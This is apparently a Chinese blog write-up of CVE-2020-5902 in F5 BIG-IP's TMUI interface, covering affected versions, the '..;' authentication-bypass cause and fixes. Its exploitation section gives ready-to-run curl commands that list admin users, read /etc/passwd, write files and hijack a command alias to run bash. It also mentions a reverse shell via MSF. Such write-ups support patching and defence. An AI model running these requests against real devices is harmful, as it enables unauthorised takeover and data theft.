官网
简介
F5 BIGIP 链路控制器用于最大限度提升链路性能与可用性的下一代广域网链路流量管理。漏洞编号:CVE-2020-5902。未授权的远程攻击者通过向漏洞页面发送特制的请求包,可以造成任意 Java 代码执行。进而控制 F5 BIG-IP 的全部功能,包括但不限于: 执行任意系统命令、开启/禁用服务、创建/删除服务器端文件等。该漏洞影响控制面板受影响,不影响数据面板。
影响范围
- BIG-IP 15.x: 15.1.0/15.0.0
- BIG-IP 14.x: 14.1.0 ~ 14.1.2
- BIG-IP 13.x: 13.1.0 ~ 13.1.3
- BIG-IP 12.x: 12.1.0 ~ 12.1.5
- BIG-IP 11.x: 11.6.1 ~ 11.6.5
漏洞原理
BIG-IP实现了自己的PAM认证模块:mod_f5_auth_cookie.so
,在这个模块中设置了login.jsp不需要授权就可访问,由于Tomcat支持path parameters,当我们访问https://xxx/tmui/login.jsp/..;/tmui/locallb/workspace/tmshCmd.jsp
时会变成https://xxx/tmui/login.jsp/../tmui/locallb/workspace/tmshCmd.jsp
,接着,就是根据web.xml中的配置找到该URL对应的servlet,并把请求交给这个servlet,然后在tmshCmd_jsp中执行我们传入的命令。
详细漏洞原理分析见:https://blog.csdn.net/he_and/article/details/107359777
漏洞利用
执行tmsh命令
curl -k "https://example.com/tmui/login.jsp/..;/tmui/locallb/workspace/tmshCmd.jsp?command=list+auth+user+admin"
读取文件
curl -k "https://192.168.3.214/tmui/login.jsp/..;/tmui/locallb/workspace/fileRead.jsp?fileName=/etc/passwd"
写入文件
curl -k -H "Content-Type: application/x-www-form-urlencoded" -X POST -d "fileName=/tmp/success&content=CVE-2020-5902" "https://192.168.150.146/tmui/login.jsp/..;/tmui/locallb/workspace/fileSave.jsp"
curl -k "https://192.168.3.214/tmui/login.jsp/..;/tmui/locallb/workspace/fileSave.jsp?fileName=/tmp/test&content=id"
POST方式写入
执行命令
修改alias劫持list命令为bash
curl -k "https://192.168.3.211/tmui/login.jsp/..;/tmui/locallb/workspace/tmshCmd.jsp? command=create+cli+alias+private+list+command+bash"
写入bash文件
执行bash文件
curl -k "https://192.168.3.211/tmui/login.jsp/..;/tmui/locallb/workspace/tmshCmd.jsp?command=list+/tmp/test"
还原list命令
curl -k "https://192.168.3.211/tmui/login.jsp/..;/tmui/locallb/workspace/tmshCmd.jsp?command=delete+cli+alias+private+list"
浏览目录
curl -k "https://192.168.3.211/tmui/login.jsp/..;/tmui/locallb/workspace/directoryList.jsp?directoryPath=/usr/local/www/"
反弹shell
在传输过程会将斜杠转义,会将加号理解为空格,所以需要使用base64和url进行编码
使用MSF
漏洞修复
使用以下命令登录对应系统
tmsh
编辑
httpd
组件的配置文件edit /sys httpd all-properties
文件内容如下
include ' <LocationMatch ".*\.\.;.*"> Redirect 404 / </LocationMatch> '
2020年07月11日,F5官方更新了漏洞缓解措施,之前的缓解措施可以仍可被绕过。本次更新,官方更新了针对攻击者利用hsqldb利用链,通过构造恶意请求,绕过官方发布的禁止请求中包含;的漏洞缓解方案,缓解措施更新如下:编辑httpd组件的配置文件内容为:
include ' <LocationMatch ";"> Redirect 404 / </LocationMatch> <LocationMatch "hsqldb"> Redirect 404 / </LocationMatch> '
按照如下操作保存文件
按下 ESC 并依次输入 :wq
执行命令刷新配置文件
save /sys config
重启 httpd 服务
restart sys service httpd
建议同时禁止外部IP对于TMUI的访问,或只允许管理人员在安全网络环境下访问来缓解漏洞
参考文章
https://www.cnblogs.com/liliyuanshangcao/p/13285121.html#_label5_0
https://blog.csdn.net/he_and/article/details/107359777
Comments | NOTHING